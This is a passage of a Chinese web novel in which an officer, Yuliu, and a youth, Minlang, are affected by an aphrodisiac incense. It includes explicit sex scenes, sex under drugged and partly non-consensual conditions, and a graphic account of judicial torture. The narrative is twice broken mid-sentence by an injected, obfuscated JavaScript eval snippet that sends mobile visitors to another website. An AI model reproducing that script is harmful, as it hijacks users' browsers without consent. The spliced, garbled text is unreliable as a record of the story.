敏郎热得脑子不好使了,各种感官却都变得更加灵敏。他听见了,知道她向来说到做到,怕她真的出去喊人,身子比嘴巴更快,可是手软腿软,拂不开被褥反被其拉扯,整个人瘫软地摔在地上。 “不、不,”嘴巴跟上 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敏郎粗喘,脸越来越红,真的像是放在火上烧一样,呼出的气很烫,四肢发麻,酥麻地疼,还冒着热烟。一阵阵的热浪盖过,汗如雨下,比刚出浴的美人还要湿润。平日里那双无辜单纯的桃花眼此刻迷离着,红肿的泪花一滴滴地落下来。 指尖碰上他的眼泪和汗水,玉流轻轻笑着:“……也快湿透了。” 她知道他撑不了多久,玉流眸色变深,这是个误打误撞的好机会,不是说在极度的痛苦和欢愉下最能展现人的真面目吗?所以,小郎君,让我瞧瞧你到底是什么样的人。 冰凉的指尖一下一下抚摸着敏郎的下巴,因为体内似火炉,敏郎敏感了太多,玉流一碰,他就止不住地颤抖。 他应该推开她的,可是玉流好冷,好舒服,敏郎闭上被蒙了一层水雾的眼睛,胆子很大地握住她的手,慢慢往胸口移去。 敏郎确实已经糊涂了,口不择言地唤着人:“大人,大人,玉流,玉流……” 玉流:“嗯?”他还蹬鼻子上脸了? 玉流抽手,嗯,抽不动,甚至被他越抓越紧。 心头几乎消弭的不安又席卷而来,她的眼皮跳了跳,立即决定敏郎再不松手她就要动粗了,然而下一刻,敏郎毫无预兆地扑过来,四肢紧紧地缠住玉流,让她动不得分毫。 手掌护着玉流的后脑,散开的长发搭在肩上,随着动作,在她的侧脸瞎蹭,灼灼的呼吸吐在她的耳边,浑身的燥热似乎也要从他身上转移到冰冷的玉流身上。 玉流面无表情,甚至只觉得鼻子痒。她忍了忍,撩开身上人盖着后颈的黑发,发尾湿濡,他的确已经不行了。 真没用。 玉流:“起来。” 敏郎:“不要。” 这一声很坚决,没有丝毫的犹豫。 玉流有数了。 是了,小狗再可爱,也是兽,逼急了把肉掌里的爪子伸出来,锋利的尖钩抓一下就能伤人。 玉流:“起开,别让我说第三遍。” 敏郎这次回都不回了,更加用力地缠着她,无意识地喃喃:“好舒服,好舒服……” 没想到他敢继续放肆,玉流愣了会儿,继而冷笑。 不对,小狗可不会这么不听话。 这扑身压主不放的劲儿怎么可能是被人驯养的小狗,明明是狼,藏着獠牙收着爪子装狗的狼! 仗着年纪小给她演戏呢! 他的确是狼,是遗弃后被捡走跟着护家的狗一起散养的幼狼。 狼什么样呢,总归不是现在这样。 敏郎舔着唇,因为怕划伤她,即使快被欲望裹挟得丧失理智了,还记得将手指扣进掌心中。而后学着小狗的样子,用毛绒绒的脑袋蹭着玉流的颈窝,楚楚可怜。 小狼说:“大人,请帮帮我吧。” 20. 情转移 玉流理好有些乱的衣襟,开门,找秦辜幸。 “这么快?”秦辜幸张着嘴,“是你不行还是他不行?” 玉流冰冷的眼神落在他身上:“我看是你不行。” 秦辜幸抱住自己:“大人不要开玩笑,我是不会和你试的,所以大人不要乱说,免得惹人误会。” 玉流懒得跟他嬉皮笑脸:“我把他打晕了。” 那时玉流感觉到脖颈一片湿润,低头就对上敏郎婆娑的泪眼:“……请帮帮我吧,不要让我做对不起她的事,不然我只好……” 这完全出乎了玉流的意料,等她反应过来,赶忙在他咬舌自尽前将人打晕了。 玉流:“你给我装桶冷水。” 说完,又反悔:“算了,直接用解药吧。”浸水和他自己熬过去一样,太慢,浪费时间,而且也不知道能不能行。 秦辜幸一边默念真能忍啊,一边伸手挥了挥,奉茶的绣夏会意,走出雅间。 没其他人了,秦辜幸凑过去:“你真的,有人送上门来都不试试?” 玉流冷言冷语:“你以为我和他是你们吗,脑子里只装着龌龊事。那小郎君有心上人,要是失了清白,万一清醒后以死明志,算你的还是算我的?” “我可不是,大人莫要一剑挥着杀了所有人,”秦辜幸为自己鸣了不平,才朝着她下巴点点,“自然是,算你的。” “呵,本来想用你给的东西让他自己解决的,后来想想太过分了,我不能这么对一个可怜的弟弟。” 玉流径直走到秦辜幸身边,给自己倒了一杯半凉的茶水,她有点热。 还有点失望。 至于为什么,说不上来。 秦辜幸在心底吹口哨:呦呦呦,这是醋了?真有他的。 但他面上不显:“这样啊,可是半成品你不怕?” “又不是我用,”玉流没好气,“赶紧的,马上天亮了。” 玉流是真的燥啊,秦辜幸往后仰,上下打量这人:“玉大人,你还好吧。” “我当然很好。” 好什么好,分明就是生气了,秦辜幸摸着嘴角,却也不揪着这个多问了,他说:“大人不妨猜一猜,为什么叫移情香。” “关我屁事,”玉流看他,“秦楼主,你调香我不管,但你若是调什么火药,钱币,可别怪我不客气。” “放心,我可是守法的良民。不过我得提醒你,”秦辜幸眼尖,见人就站在门缝外,转而道,“进来吧,你来说。” 来的是那位年长些的调香姑娘,她小心地看向玉流,奉上所谓的解药——一根香。 玉流:“起效快吗?” “快,”姑娘点头,“但是大人,这解药的副作用挺明显的,可能伤身。” 玉流:“无所谓。”敏郎自找的。 “那就这样,”秦辜幸拍板,“后面出了什么问题你都不要来找我。” 玉流拿过来:“行。” 姑娘满眼欲言又止,最后只能道:“那,大人小心。” 秦辜幸笑眯眯地送人离开,轻声道:“这可才是真的见面礼啊,玉流。” 他看着边上的手下:“本楼主就先撤了,有人问起来,就说没见过我。” 姑娘狠狠无语住了:“楼主你跑了,那我们咋办呐。” 秦辜幸溜得贼快,话音消失在廊中:“我相信你们,没事的,没、事、的……” 玉流回到屋内,翻了翻,在角落里找到了香炉。 她将香燃起,一束很浅的白烟随之飘散,空气中弥漫着若有若无的香气。玉流闻了几下,觉得有些淡。 偏头看了眼床上昏睡的人,也不知道那姑娘说的快指多久,想了想,她坐回到椅子上,撑着下巴盯着。眨眼的片刻,没发现他的眼珠似乎动了动。 香燃得很快,周围的香气在不知不觉中浓厚起来。满屋甘甜缭绕,玉流的眼皮也不知不觉垂下,就着手背睡了过去。 不知过了多久,她一激灵,猛然转醒。 好香,她忍不住皱起眉头,太香了,香得要命了。还有,她怎么能睡着? 她搭着胳膊,想起来,身子却不受控制。接着,是一阵晕眩。 她差点直接摔下。 玉流慌忙抓住扶手,坐稳后才惊觉脑子和身子像是两截。一个清醒,一个昏沉,像是没睡好后的惊醒……不对,是热醒。 热,对,就是热。 好热,玉流摸着脸,完了,脸也热起来了。这才多久,脑子和身子就要连上了。 要命,怎么不仅热,还吵啊。 玉流甩着头,想甩去浑身都在沸腾,都在叫嚣的血液。别吵,别吵!什么,你们要什么?看一看?看什么? 她茫然抬头张望,直至看到床上躺着的人。 她想要…… 不对不对不对,她怎么能要他。不对不对不对,玉流狠下心咬破了舌尖,血腥和疼痛让她艰难地醒过来。 缓了一会儿,她终于知道自己做了什么,她今天是脑子进了水!居然为了这个狼崽子犯了这样低级的错误,甚至落得如此地步。 该死该死该死。 “秦辜幸,你完了。”玉流几乎是磨着牙尖说出的这句话。 移情香,合着是转移发情的香! 她要去倒了那盆香,再去杀了那个疯子。 玉流勉强站起来,热意比她想得更快,脑袋又开始燥了,眼睛也开始泛起雾气。她的身子歪斜,走一步都异常艰难。 没事,以前也被算计过,都是小事,她能忍。 玉流试图放缓呼吸压下翻涌的热流,用内力逼出闻进身体的迷香。 然而事与愿违,内力催动下,血液流动得更快了,怒与欲混合在一起,她快要被淹没了。 也难怪敏郎会变成那副样子,这香真的有够厉害的,她都快要承受不住了。 轰的一声,脑中似有烟花炸开。 满头的汗水从眼角滑下,玉流能猜出现在自己的模样,狼狈得很。 还有,她撑不下去了。 玉流咬紧牙关,既然这小郎君动不得,不如让秦辜幸找个人来,然后杀了算了。 拼命撑着最后一丝清明,玉流转身,她要出去。可脚下太虚浮不堪,一步没踩稳,人就软软地倾倒。 她没摔在地上,因为有人走来,抱住了她。 她应该是有力气推开他的,但她却没能推开。 凉软的手臂成了压倒她的最后一根稻草,或者说,是她抓到了救命的稻草。玉流紧扣住他的手,闭上眼睛,橙红的焰火找到了能盛放她的灯盏。 漫天情潮颠覆,抓住他,拉下他,推倒他,行云流水。身下的人挣扎了一会儿,呜呜地哭泣,后来便由着她为所欲为…… 像是在梦中,她又一次看见了宋繁声。 不是在万丈峰,是在无涯山。 那应当是他们的最后一面。可是她记得那天天气很好,怎么会成了雨天? 暴雨如注,豆大的雨珠砸在大地上,浇在玉流身上。她不知道在雨中站了多久,衣服好重,头发好重,她一步都迈不出去。 “师妹。” 宋繁声撑着竹伞走来,将她头顶的雨水阻隔:“为什么不去躲雨?” 他在责怪她。 “我不在你身边,你连怎么照顾自己都不知道了吗?” 玉流觉得烦,他每次都是这样:“不用你管。” “不用我管,那你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912674|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么缠着我不松开?” “什么?” 玉流脑子一阵麻意,定睛一看,她竟然在山洞里。地上铺着一层衣袍,那是宋繁声的,而她的……玉流盯着自己,一阵恍惚。 “等,等等……” 她立即闭上了嘴,为什么,为什么她的声音会成这样,又软又柔,还有,宋繁声为什么会抱着她,他们……为什么会这样! “等什么,”宋繁声搂住她的腰,闭眼俯身,额头相抵,盖住她那双明丽的眼睛,“别再这么看我了,你知道我的。”说着,轻轻动了动。 瞬间,玉流全身颤栗,又急又气:“不是,我、你、你他娘地在干什么!” “你,”宋繁声笑了声,蹭着她的脸颊,“说呢?” “你你你……”玉流气得声儿抖。 “当然了,我们也可以换一换,”宋繁声说着,叼着她的眼尾吮了会儿,亲在她的红痣上,“可能换了更合适。” “换你个大头鬼,”玉流伸手推搡,却完全逃离不了他的怀抱。她难以置信,“你、你这个混账,死鬼,色胚,流氓……” 宋繁声难得见她如此暴躁,嗯嗯点头,任由她骂。 等她骂够了,伸手握上她纤细的手腕,舔了舔嘴唇,略带邪气的动作让他整个人看起来越发艳绝:“怎么去了一趟京城开始说粗口了,这样不好。” “不过这时候,你可以说些别的,助助兴,”他道,“你要我说吗?” “闭嘴……闭嘴啊!” “那好吧。” 听起来很可惜,实际上这人完全没有可惜的样子。 他俯身撑在她的上方,不知是被汗水还是雨水打湿的发尾垂下,像树投下的绿影。 绿影中那双含情的桃花眼望着她,望着透着粉的玉流,他抓住了呵护多年的宝玉。可惜宝玉嘴倔,要他来问。 像是从前回山时候,叫她来选那些带回来的新奇玩意儿一样,他一遍一遍地问。 “师妹,喜欢这个吗?” “师妹,喜欢那个吗?” “师妹,喜欢……”我吗? 此刻,他问:“师妹,喜欢这样吗?” “不,不……”她说不下去。因为只要一说话,她的声音就不像她了。她不想喊,却难捱地溢出了声。 许久,周围一度只有玉流断断续续的呜咽。 不仅如此,玉流还悲伤地发现,虽说是他带着她,可她自己也在不自觉地靠近他,拥抱他,占有他。 好似回到了那个潮热的春末,听完枝头的翠鸟叫了一整日的求欢,她于梦中滋生出了私欲。 一根铺着土地蜿蜒生长的嫩绿藤蔓寻求了许久,终于找到了能让她栖身的绿树。 那是一株苍柏,树形繁茂,正值青年,绿意盎然,还散发着诱人的淡香。 她毫不犹豫,将带刺的根系扎进树皮中,密密的针脚伸进树干里。她不要与他缠枝,她要一点一点夺走他的养料,她要靠着他活下来,也要靠着他往上爬。 爬得高了,偶尔会遇上不长眼的遮阳枝叶。她曾想弄残他,却又舍不得,还没到时候。 她算计得很好,一步一步攀援,直至与他同高,等一个月明的晚上,再将他绞杀,另谋高就。 可是,那株对她予取予求的柏树似乎提前洞察了她的背叛,要先将她反杀。 不,是先将她占据。 半枯的苍柏伸出新的枝干,圈着藤蔓因喝饱树中的养料而湿热鼓起的肚皮,他将她紧紧地禁锢住。 好似在说,我死了,你也逃不掉。 绿影渐渐淡去,青年呼气,送来绵绵的热与她交织在一起:“师妹,你这儿可不是这么说的,感受到了吗,师妹……” 21. 春梦深 雨势渐猛,春情渐深…… 怕玉流受不住,宋繁声停下,低身亲昵地贴上她的耳后。 他不会撤离,也没有冷却,他在等她适应,或者说,他在丈量她。 量得难受了,就含着她的耳尖纾解,然后,咬一口,就像在咬刚熟的樱桃。淡粉的皮破了,露出里面红红的果肉,流出新鲜香甜的汁水。 显然,他比玉流都要了解她自己。 牙尖摩挲过耳骨,微微的刺痛,仿佛藤蔓匍匐而过。不知何时起,她的那些根系已被策反,要将主人蚕食,恭迎新主。 而那位新主扶着她的后脑勺,舌尖舐过小小的伤口。 他什么都没有说,却似乎又说了很多,呼出的气息吹动因缠紧而热出的汗珠,沿着脖颈一路下滑。 一滴一滴,将破开的樱桃注得盈满。 玉流打着哆嗦阖上眼,她很烫,抽噎着想要靠着他降温。 可他也好不到哪里去。 她想离远些,他又不让。 热上加热,进退不得,这样的狼狈之痛,让她想起了去年年中,诸几领她到侯官署专设的地牢里看过的一场私刑。 被押解的犯人是个没落氏族的公子,一身读书人的清高孤傲劲儿却屡试不第。被同辈笑话了太久,生出点自怨自艾的疯癫来,在一个醉酒的深夜,跑到贡院墙外学着谪仙人的放浪模样,挥手泼墨。 只是写的不是短诗,写的是辱骂朝廷的檄文。玉流有幸看过,写得颇有文采,要是放在陛下刚登基的那几年,也许剑走偏锋能让陛下看上那么一眼,可此一时彼一时,你说你骂谁不行,及第上榜的同门,监考阅卷的考官,或者就是窜出来挡了路的一条狗都行……你偏偏骂朝廷,骂了所有人,骂了也就骂了,偏偏还落了款,盖上了自己的印章,真是自负到昏头,蠢得无可救药。 文章还没传进皇宫,外侯官就逮到了人。 公子也没跑,宿醉未醒,躺在屋里抱着枕头睡得酣畅。被连人带被架走时,还不明白将要发生什么。 那她为什么要去看呢,诸几说是因为她之前抓人闹得太血腥,影响不好,以后抓到幕后存疑的犯人,要像他们这样带回来,方便后续记录归档。 玉流点点头,看是要看的,学不学另说。她跟着诸几走进地牢,里面的审讯已至收尾。 往日白白净净的,再穷也得体的公子如今赤身斑驳,被围观着,撕毁了最后的体面。这还不够,只要他闭眼昏厥,身边守着的几个外侯官就迅速灌下续命的药汤。 没人管他受不受得了,他活着,其他人才能继续摧折。 食指粗细的银针烧得通红,针头膨胀,黑红冒烟,掌刑的外侯官吹了吹,在公子极端的恐惧中,将针钉进了他的指蹼中。 平平淡淡的,眼皮都没抬起:“说,谁指使你写的。” “我,哈,啊啊……啊……” 他没能说完,因为银针又被拔了出来。 是他们不让他说,因为没有必要。 那时候正是西郊闹鬼的末端,虽然玉流找到了犯人,陛下燃着枯草的余怒还是烧到了外侯官身上。除了玉流,每个人头顶都是一片乌云,他们想赶些业绩,好让陛下熄火。 正巧他写了这种东西,简直就是自寻死路,寻的还是带着一家老小,株连九族的死罪。 反正谁都逃不掉,他背后有没有人指使也就无所谓了,宁可杀错,不可放过。还剩下半年,杀个鸡儆个猴,也让他们这群风里来雨里去的外侯官们过得安生些。 至于行刑,不过是外侯官的私心作祟。送上门来的死囚,自然要发挥他最大的用处。比如说,用他来试探人的界限。 他会死,但不会一下就死,痛源被取出,却即刻卷土重来。 身边装满炭的火桶烧得地牢滚起热浪,仿佛置身火海。热的汗与痛的泪合在一起,融成悔恨的悲鸣。 一声声没有间断的敲击,直冲天灵盖,一声声撕心裂肺的哭喊,好似骨头全碎了,碎成齑粉。泥泞猩红的水滴下来,滴答滴答,滴滴答答。 他想求饶,都没了力气。 变冷的银针像是倒长的指头,勾进血肉里,五指被迫伸张。 极度的撑展后,裂开。 血噗噗地溅出来,就溅在她眼底。 看完被弄得半死不活的犯人,玉流跟着诸几去看怎么写记录。走了几步,她后知后觉地,品出了那道细弱求饶声里的婉转。 剧烈的疼痛之后,即使是绝望的仇怨都是柔弱的,半条命都坠进了地狱,哀求都是无力的。 那是他说的最后一句。 “杀了我吧,求求你,杀了我……” 带着迫切的,孤注一掷的求死之欲。 如果欲望是疼痛,那么疼痛也是欲望,是不需要前奏的欲望。因为痛到想求死,所以求死也是欲望。 现在呢,她也在疼,但她不会懦弱求死。 她被勾出了欲念,可即使是睡了,她也不是任人宰割的主儿。 玉流吸着气,伸手与他十指交叠,握住,勒紧,勒得银针撕扯指蹼,被狭窄的血肉包裹。在他耐不住躬身的瞬间,张嘴咬上了他的咽喉。 宋繁声看起来没有丝毫痛苦,唇角甚至还有一抹笑意。 他轻轻地拍着玉流的背,让她放松,等到她松嘴开始舔去流出的血珠,再慢慢地搂紧,下巴抵着她的头顶。 玉流靠着他的胸腔,听见里面阵阵的欢笑。 幼时比剑输了,他也是这样,抱起躺在地上耍赖的师妹,把不服气的小姑娘按在怀里,笑着和她玩闹。 玉流也笑了。 双眸是暗藏玄机的蓝海,眉稍升起一轮新月。 月色太美,美到她笑出声来。 她应该也在受刑,看着这位没入名册的外侯官将锻造的银针敲得一击深,一击浅。为什么没入名册,因为外行,他始终在入门,又进又退,许久才全部跨过门槛。 这是一段艰难的过程。 他变得内行的时候,她也成了一块碎玉。那些裂缝的伤口噗噗地喷出血流,在失焦的眼眸中一点点褪色,变成另一副模样。 颤巍巍的眼中,在吐息深处,迟来的热潮一波一波,红到发黑的流水与蓝海交缠,她在被吞噬,在被融化,哪里都疼,可疼痛也缠绵。 是细密的刺,密密麻麻,由浅到深。那是藤蔓在用小小的钳子啃食她的肌肤,它们没有放过任何一个角落,把伤痕遍布全身,催生新的枝芽。 或者,她在开花。 开出一朵可能这辈子都看不见的花。 玉流出神地抓上他的后背,似乎想要传达她的感受。 即使是疼痛,她也想和他同振。 相携长大的少年人,一个比一个嘴硬。一个背着秘密从没说出口,一个望着野心从没问出声。可他们也不得不承认,爱和恨同源,由爱生恨再生爱,只是一转眼。 “师兄,我很想你,”玉流在心底哀怨,怨到胡乱抓挠,“可你,为什么还要出现?” 他该死在无涯山中,与她浓黑如墨的少年心事一同沉没。没有污点的玉,才最有价值。 宋繁声由着她撕扯,发泄积压的怨气,直至她累得失去力气。 他吻着她的额头:“好了吗,是不是,该轮到我了?” “好什么,你给我——”她恼羞,气得张嘴咬住他的肩膀,牙齿咬破了皮肉,舔了一嘴的血。 “混账,你给我慢一点!” 宋繁声闷笑,不在乎这点小痛:“真的要慢吗,师妹?” 玉流哼哼,不再说了,捂着嘴点头,宋繁声说听不见,在她耳边哄,哄着她出声。 “师妹 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京城规矩很多,不能随意打杀,当了外侯官后,她才继续。很多时候,她并不知道他们到底犯了什么罪,有人说过自己无辜,跪地求饶,等来的也只有手起刀落。 或许有人真的无辜,可她也只是听命行事。最多不过多受一句咒骂,然后,她的身上再添一笔罪孽。 她不在乎,却也会期待雨天。 那些从死人身上流出的血,会变淡,会消失,会被雨水带走。 一切都是干净的,崭新的,让她觉得自己好像还是从前山里的玉流一样。 ……外面的雨更大了,噼啪地撞地,他合上拍子,也做暴雨。玉流迷蒙的双眼逐渐回笼,她觉得自己在发热,在燃烧。 是和宋繁声的鬼魂一起坠往无尽的火海。 是藤蔓在秋日悬着的艳阳下晒得脆干的枝叶,手一捻就全碎了。 是万丈峰下焚烧之后才会破土而出的火山丹,一簇簇地盛开在烈火过境后的荒芜山间,又艳又悲。 要想得到它,要先毁掉它。 “这个时候了还分心?还不够,是吗?” 宋繁声轻声笑着,像幽魂般缠住她,托着人换了位置。 玉流有些呆:“你、你又在做什么?” “我没有时间了,得快些。” 略带遗憾,他摸着她的脸,隔着万古的情意。 “师妹是不想换吗?” “可我觉得你会喜欢在上面。” 不准她拒绝,他好像也没给她拒绝的机会,玉流就这样被迫骑上刚驯服四肢的小马,横行无忌,震荡颠簸。 “啊——”腰窝发麻,顺着秀丽的脊背一路延申至脆弱的肩颈线上,玉流瞳仁涣散,仰头失声。 你这个……混账啊。 急促的喘息后,她缓了缓,眉眼发狠,修得平整的指甲陷进他的肉里,迤逦出刺眼的血流。她好像要被人毁掉了,她还想毁掉别人。 玉流垂头,目光灼灼地望着低处的人。 宋繁声的脸庞泛起红潮,好似她在宫中见过的一尊红珊瑚雕件。那是西海的藩属小国送来的上等贡品。瑰丽,不菲,稀缺,且不是她这样的人能得到的。 就像他一样。 他艳而不妖,她求而不得。 这般想着,玉流沾血的指尖抚上,划过他的桃花眼尾。 他是人是鬼都不重要了,她又输了。 玉流染得娇娆的脸泄出一丝恼恨:“你要是还敢这样出现在我的梦里,呃……哈啊……” 宋繁声配合地扣紧她的腰肢,让他们贴得更紧:“嗯,你会怎么样?” 会怎么样?还能怎么样!她不会结束,他也不会,就算隔着阴阳,他们这对师兄妹也注定至死不休。 玉流喘着气,控制着呼吸的频率,在摇晃中合拢支离破碎的声音:“师兄……我迟早杀了你。” 22. 要负责 眼皮颤了颤,玉流抬手拨开垂在脸颊的发丝,疲惫的双眼睁开。 这一觉放肆了,她本不该睡这么久的。摸着脸,扭动酸软的腰,在感觉到腿间的异样时,玉流怔住,这梦实在是真实地过分了。掀起被子想要下床,指尖摸上一具温热的躯体。 玉流手腕一抖,迟疑地扭头:“……居然,不是梦。” 她真的睡了人?! 身边的人翻身,露出被子下的脸,侧身朝着她,脸颊闷得酣酡。他的呼吸平缓,身体感知到她的触碰,哼哼了几声。 睡的还是敏郎?! “真他娘的操……”最后一个字滑到嘴边,玉流下意识咽了回去。她想到了那个艳鬼,想到了他在梦中调戏她的情话。 如果那也算是的话。 要死,怎么又想起他了,玉流忍不住烦躁了。 “呵,”他以为他是谁,死了就安分一点,她说什么粗口谁都管不着,玉流想着,补上了最后,“蛋。” 而后,是长久的静默。 玉流不是读女戒长大的世家之女,尊者对她也是放养,知道她不喜欢便从没对她要求过什么德才兼备。身处父亲位置的尊者是这样,母亲位置上的长辈则是完全没有,长久下来,玉流的道德感很低,以至于后来都有些歪了。 造成这样的结果,与朱雀有关。 在万丈峰的那些年里,朱雀偶尔会进山找她。不是来找她杀来杀去,是来找她帮忙读信。前任朱雀养出了继任者,早就离开四方境去外面潇洒了,时不时写封信回来,想挽救一下快要淡成水的师生情谊,就是忘了徒弟识字晚,很多字都还不认得。 “我的教书先生是个坏人”,这是朱雀的原话。 她不知从哪个犄角旮旯里捆了位善良的小先生,不吵不闹特别配合,朱雀还以为捆了个缺心眼的,不曾想人家心大来混日子而已。 睡在榻上捏着信纸,眼一眯,餍足的小猫儿捋着白白的胡须,东边就读到西边去了。眼看朱雀听出不对劲来,立马就说读累了困得很,还让她也和他一起歇歇,睡醒了再看。 这样下来,一封信能拖上十天半个月。 在一个深夜,朱雀终于忍无可忍,一把火将猫儿的胡子全燎了,然后进山找玉流,要她来念。 玉流半夜被人叫起来,衣衫都没穿好,打着哈欠点起蜡烛就是看。 信里多是红尘凡俗的见闻,也没多少复杂,就是吧,这东一句西一句,夹杂着尽兴时龙飞凤舞的狂草,甚至还有被油糊掉的字眼,让她不禁怀疑不羁的前辈不会是在饭馆写的吧。 这也不能怪小先生说看得累,她的眼睛也疼,觉得会得工伤。 朱雀掐她脸蛋,面无表情地凶狠:“读不读。” 彼时玉流还不是这个幼年冷面杀手的对手,不敢反抗:“读,我读。” 慢慢的,一起读信成了习惯,她也靠着字里行间见识到了山外的天地。在等到她们十三岁后,信的内容变了,前辈开始写一些她在山下的风流韵事。 朱雀也是个狠人,仗着自己从小是个不会脸红的圆圆死人脸,就算再露骨都能一板一眼地读出来。最多皱皱眉,吸吸鼻子,说“今天又认识了几个字”,然后折好,放进兜里。 有她打样,玉流的脸皮也越来越厚,脸不红心不跳地同她一起看完了。看多了玉流也琢磨出一点意思,大概是前辈觉得孩子大了,也该见见世面了。 她们迟早要出来,会像她一样遇上因欲生情的人,但江湖儿女,不会因一人停留,所以那些情成了清晨的露水,天亮了露水晒干,拍拍屁股走人就是。 基本上都能好睡好散,毕竟爽的也不是只有自己。如果聊得不行,死活不放手,那就只能见点血了。 玉流比较喜欢后一种做法,可惜未能有过实践。 进了京城爬到副指挥使后就不一样了,那些官场老人心思活络,私下不约而同地送来几个箱子。里面装的不是金银,是一个比一个嫩的小公子。 她没见过这种玩法,还挺惊奇,认真看着他们一个一个从箱子里钻出来,出来一个,就给张凳子坐。旁边送人的轿夫见了,以为她有兴趣,谄媚的瞎话张嘴就来,说什么玉流刚升官,府邸没有下人,他们大人特地送人过来伺候她。 “小的就不打扰了,玉大人随意。” 随意你个头。 官老爷送人来前能不能先去找包打听了解了解她的喜好,这么多的人,一个压中她胃口的都没有。 最后玉流一个都没留下,也没动手见血,整箱整箱的,怎么来的怎么走。不过不是原路返回,而是全都被她送到侯官署历练去了。历练谁不要紧,来都来了,不如牺牲一下发光发热,就是后面写报告的时候麻烦了些。 反正一句话,她对这种事不在乎,无非多了个把柄。如果必要,她会杀了他,但不是现在。 玉流扶着胳膊看了眼,伤没事,下床自若地捡起地上丢得到处都是的衣裳,找到自己的,披上穿好,坐在床边。 昨夜折腾得太厉害,簪子不知掉到了哪里,没能找到。玉流懒得找了,乌黑的长发随意地披在肩上,盖住了被敏郎吮出的嫣红。她将发尾卷到一边,伸手点在自己的右耳,摸到了一点快要愈合的伤口,轻轻揉了揉,审视的目光落在敏郎脸上。 半晌,略带冷意的笑声从嘴角倾泻,玉流在笑自己。 故地重游,她变得清闲了,以至于又一次梦回故人,甚至还把他当成了他,做那样的春梦。 下犯上,大不敬。 笑着笑着,床上的人动了。 “大人……?” 她的视线像幽暗的微火,冷然又灼热,烧久了,会有些痒。 他被痒醒了。 敏郎迷糊地支起身子,脖子上的纱布早就被揭开,丢在了一边。 他没发现此处的奇怪,他想起来,手肘刚抵上床面,身体猛地停住。他察觉到了自己的状况,不仅没穿衣服,身体还湿湿的,腻腻的。再看玉流,除了穿着衣服,同他也是差不多的模样,就好像他们、他们……脸白了几分,他彻底醒了。 “大、大人!啊,啊?啊——”后半声的惊叫卡在喉咙里,“我,我……” 悠长的尾音如同各处被蒸烫的呼吸,将两人紧紧缠绕。 似乎又要哭了。 好不容易消失的水雾又浮现在他漂亮的眼眸中,这样泫然欲泣的神态,让玉流觉得京城那些用金银玉石养出来的贵女都不及他的清魅,真是我见犹怜。 她正想着,他已经哭了。 湿热的水珍珠从脸上滚下来,他慌忙去擦,被子就这么落下来。 不论看到哪儿,所至之处全是印子和红痕。 玉流认得出来,除了那道快好了的刀痕,胸膛的抓挠,肩膀脖颈喉结挂着的牙印,还有其余的小痕迹,全都是她的杰作,都是自己的指甲划出来,牙齿咬出来的。 玉流觉得自己这辈子都没见过这么多的红,桃红茜红芙蓉红,都比不上他身上的红。她抬了抬眼皮,有点脸热,但还是没移开过眼睛,一瞬都没有。 这样的凝视过于张扬,敏郎耳尖一片薄红,胡乱抓起被子想要盖住身上的痕迹。 “嘶——”不小心扯动腰背,他闭眼,又酸又爽。 这一幕在玉流眼中就成了半遮不遮,简直是犹抱琵琶半遮面。下意识摸上唇的那一刹,手指僵住,她转过脸,捡起地上剩下的衣衫,丢给他。 “谢谢。”这时候了,敏郎还记得道谢。 他说完,飞快地将外衫挡在胸前,耳根子红得要滴血了,还低头不敢相信:“我、我们……” 玉流都不用去回想她到底做了什么,醒来之后失去意识前的碎片记忆已经自动归位。嗯,是她主动的,该做的都做了。 昨天和秦辜幸说的话仿佛是能回头的箭矢,根根往自己身上扎。 “不用多说,”玉流撑着额头,“我可以当做什么都没发生。” 敏郎哽了哽:“……什、什么!” 他急得失语:“不可,我不可以,不可以!”她怎么能说出这么不负责的言论! “渣、渣女!”被欺负得很惨的小郎君抖着手指憋出这么个词来。 “嗯?”还是第一次有人这么骂她,玉流绷直的思绪没绕过来,“做这种事情,吃亏的又不是你。” “不是的。” 敏郎不知哪里来的勇气,视死如归般,红着的眼睛勇敢地对上玉流不解的眼神,千言万语的委屈,最后只有一句话。 “大人,我是第一次。” 饶是玉流这样杀惯了人的恶女,以及刚成为的渣女都一时无所适从。 “你是第一次难道我就……”不是第一次了吗? 舌尖抵着上颚,玉流把后半句吞进嘴里,她是不是第一次不重要,重要的是这小郎君是。 要命了。 怎么醒来之后敏郎就一副不要命的死感,失了清白的后劲这么大吗? 敏郎依旧执拗地看着她,虽然没说话,微微撅起的嘴角就已经很能说明他的情绪了。 玉流按了按眼皮:“说吧,你想怎么办。” 听起来就很勉强,敏郎耷着脸,沉默了会儿:“大人,我虽然是乡野长大的孩子,身边只有爷爷一个长辈,可爷爷生前也教会了我许多道理。我是一个很传统的人,我知贞洁对于男子的重要,我没清白……” 玉流:“啊?” 敏郎完全沉浸在自己的悲伤中,抹着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942072|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪:“当初就是无法接受极乐天的条件我才走的,没想到我还是变成了这样子,我、我、我肯定没有人要了……” 已经说不下去了,敏郎小心抬头,湿漉漉的双眼弱弱地注视着她。就算怕,也不移开。于是,狼崽子又成了招人稀罕的小狗。 小狗望着她,满怀期盼又苦兮兮:“大人,能为我负责吗?” 玉流:“……如果我拒绝,你会怎么样?” 小狗乌色的双眸失落地颤了颤,垂下头:“大人如果这么不愿意,我也不求强求,没关系的,我会自己想办法的,没关系的……” 他好像整个人都要碎掉了,玉流有些心虚。 